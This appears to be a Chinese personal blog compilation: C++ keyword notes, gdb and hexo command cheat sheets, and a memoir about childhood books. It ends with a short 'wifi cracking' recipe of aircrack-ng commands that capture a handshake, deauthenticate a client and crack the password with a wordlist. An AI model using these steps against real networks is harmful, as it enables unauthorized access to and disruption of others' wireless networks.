c++ 备忘录

本文介绍一些c++常见的需要注意的东西

static 的含义

1
2
3
4
5
任何函数体外部的变量 		变量的范围局限于声明它的文件
函数内的变量声明 这个变量是永久的。初始化一次,虽然会递归调用这个函数但是仅创建一个副本
函数声明 函数的范围局限于在声明它的文件
成员变量 为每个类(不是每个对象)创建一个变量的副本
成员函数 函数只能访问类的静态成员(它只能访问静态成员数据、静态成员函数及类外面的函数和数据,不能访问类中的非静态成员变量和函数)

const 关键字

1
2
常量型的对象只能使用末尾有const的成员函数,如int test() const;
类的const常量需要使用初始化列表来初始化,或者用enum { var = 100 }来欺骗;

gdb常用的基本功能

本文介绍了一些gdb最常用的基本功能。

开始程序

1
2
3
> start
> run
> run arg1 arg2

start会在main函数处自动设置一个断点,而run不会。run后面可以加参数作为main函数的实参。

断点

设置断点

1
2
3
4
> break func_name
> break file.c:105
> break 105
> b ...

设置断点的方法一般会用到两种:根据函数名和根据源文件的行号。对应的方法为前两个,如果已经处在file.c文件中,可以直接用行号。
break可以用b代替。

处理断点

1
2
3
4
5
6
7
8
# 列出所有断点
> info break
# 关闭一个断点,断点号可用info break查看
> disable 3
# 重新打开一个断点
> enable 3
# 彻底删除一个断点
> del 3

变量

1
2
3
4
5
6
7
# 根据变量名打印变量
> print arg_name
> p arg_name
# 打印函数输入的变量
> info args
# 打印本地函数的变量
> info local

跳入另一个帧

1
2
3
4
5
6
# 先查看堆栈帧列表
> backtrace
> bt
# 根据编号跳转
> frame 2
> f 2

单步执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 单步执行一行,可进入另一个函数
> step
> s
# 执行下一行,不进入子函数,可能跳回一个循环的开头
> next
> n
# 让一个已经进入的循环可以直接运行通过到下一步
> until
> u
# 继续运行直到下一个断点或者程序结尾
> continue
> c
# 从当前函数立刻返回,可带参数
> ret
> ret 0

hexo快速使用指南

本文建立在已经配置好hexo + github环境的基础上,利用hexo推送博客的快速使用指南,如环境还未配置好,请自行Google一下,或者访问官方指南:https://hexo.io/zh-cn/docs/。访问Google的方法可参照:https://github.com/racaljk/hosts

启动hexo服务

1
2
$ hexo server
$ hexo s

以上两条命令等价
server启动后可以访问http://localhost:4000/来查看本地博客

新建一篇博客

1
$ hexo new <title>

在默认路径下新建一个title.md的文件

生成静态文件

1
2
$ hexo generate
$ hexo g

以上两条命令等价
此命令将md文件转化为静态网页文件

部署博客到服务器

1
2
$ hexo deploy
$ hexo d

以上两条命令等价
此命令将本地生成的静态文件上传到github服务器上,此时可以通过”username”.github.io来访问生成的博客

儿时记忆中的书籍

其实我小时候从来没有自己拥有过一本除了教材或辅导资料以外的书籍,所以我读的书都是蹭的(所以,现在我习惯蹭别人的书看……)我印象最深的一本书是我爷爷的连环画版的《圣经》,我爷爷曾负责在教会里讲解圣经,这也是家里唯一一本我看得懂的书(也只是只看得懂里面在讲故事而已…)尤其是最后一段,恶魔自地狱涌现人间,万千天使伴着圣光从天而降,将各种恶魔重新赶回地狱深渊。后来我就有了一个梦想,我要成为一个神!这个梦想一直持续到初中毕业才被我抛弃……如今想来也是会心一笑而已。

小学的四年级左右的时候,班里开始广泛流传着这样的几本书,包括《十万个为什么》,《脑筋急转弯》,《歇后语大全》。当时课下最大的乐趣就是先看这几本书的内容,然后对同学提问,紧接着嘲笑一下对方的智商,哈哈….也是借着《歇后语大全》丰富小学时的作文素材了,一举两得啊。小学毕业之前,托同学们的福,我看过了《安徒生童话》和《格林童话》这两本书。当时的阅读习惯真好,一人买书,全班有福啊。尽管这些童话书里描绘了很多优美的故事和英勇的男主角,但是他们并没有撼动我要成神的梦想,我可是一个有原则的小学生,恩。

后来,老姐上初中的时候买了一本类似与满分作文大全的书,我也是无聊的时候看了一些里面的记叙文,就当是故事书看了。里面的两篇文章对我影响很大,其一是《小侦探福尔摩斯》,那是我第一次接触“福尔摩斯”这个名字,致使我对这个侦探产生了浓厚的兴趣,到了大学的时候我就马上到图书馆搜罗《福尔摩斯》相关书籍了。另一篇文章是《背影》,里面说的是父亲对孩子大而无声的爱。我还记得文章的最后一句话:

父亲的背影渐渐地消失在朦胧的白雾中,离我越来越远……

这句话至今都一直触动着我。

很遗憾小时候从未自己拥有过一本属于自己的课外书,这事可不能再发生在我孩子身上啦,哟嚯嚯嚯……

小贝壳

常用的一些东西,方便查找

Quick Keyboard

移动光标

1
2
Ctrl + o   //移动到上一个位置
Ctrl + i //移动到下一个位置

退出编辑模式

1
2
Ctrl + c
Esc

常用工具

wifi破解

注意在root模式下运行

1
2
3
4
5
6
7
$ airmon-ng
$ airmon-ng start wlan0
$ airodump-ng mon0
#下面的这个窗口不关闭
$ airodump-ng -c [channel] -w file.cap --bssid [Bssid] mon0
$ aireplay-ng -0 5 -a [Bssid] -c [Station] mon0
$ aircrack-ng file.cap -w wordlist